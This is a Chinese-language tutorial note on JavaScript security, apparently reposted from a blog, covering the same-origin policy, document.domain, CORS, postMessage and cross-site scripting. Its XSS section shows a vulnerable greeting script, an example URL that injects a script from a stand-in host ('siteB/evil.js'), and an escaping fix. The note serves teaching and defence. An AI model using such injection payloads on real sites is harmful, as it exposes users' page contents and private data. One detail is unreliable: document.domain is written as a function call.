JavaScript安全

同源策略

文档的来源定义:协议(http及https),主机(ip)或者URL端口

脚本的来源定义:脚本的来源和同源策略并不相关,而是脚本所在文档的来源,例:

来自域A的脚本被包含在域B中。如果脚本打开一个新的窗口来加载域B的另一个文档,脚本对这个文档有完全的访问权。但如果脚本打开一个窗口加载来自域C(或域A)的文档,同源策略就会发挥作用,则脚本对这个文档没有访问权限。

解决跨域问题

document.domain属性

解决大型网站的同源策略的问题,例:

来自home.example.com的脚本想要读取developer.example.com的属性,可以在两个站点的脚本中设置:

document.domain("example.com")

domain中的属性必须要有个点号,它不能是com这种顶级域名

跨域资源共享

采用新的:Origin: 请求头和新的Access-Control-Allow-Origin响应头来扩展http

跨文档消息

调用Window对象上的postMessage方法,可以异步传递消息事件到窗口文档里。

跨站脚本XSS

什么是跨站脚本?例:

考虑如下web页面,它使用用户名字来向用户问好:

<script>
var name=decodeURIComponent(window.location.search.substring(6)) || " ";
document.write("hello"+name);
</script>
 
假设有如下url:
 
http://www.example.com/greet.html?name=david
 
它会显示hello david。但是如果url变成这样:
 
http://www.example.com/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/%3E
 
(%3C及%3E是尖括号编码)相当于在该站点注入了siteB站点的脚本,即B站点的脚本就可以获取到当前文档的内容及隐私信息。
 
通常的防止方式是,在使用任何不可信的数据动态生成文档前,移除HTML标记,上面的例子可以修改如下:
 
<script>
var name=decodeURIComponent(window.location.search.substring(6)) || " ";
name=name.replace(/</g,"&lt;").replace(/>/g,"&gt;");
document.write("hello"+name);
</script>
 
原文地址:https://www.cnblogs.com/goOtter/p/8953343.html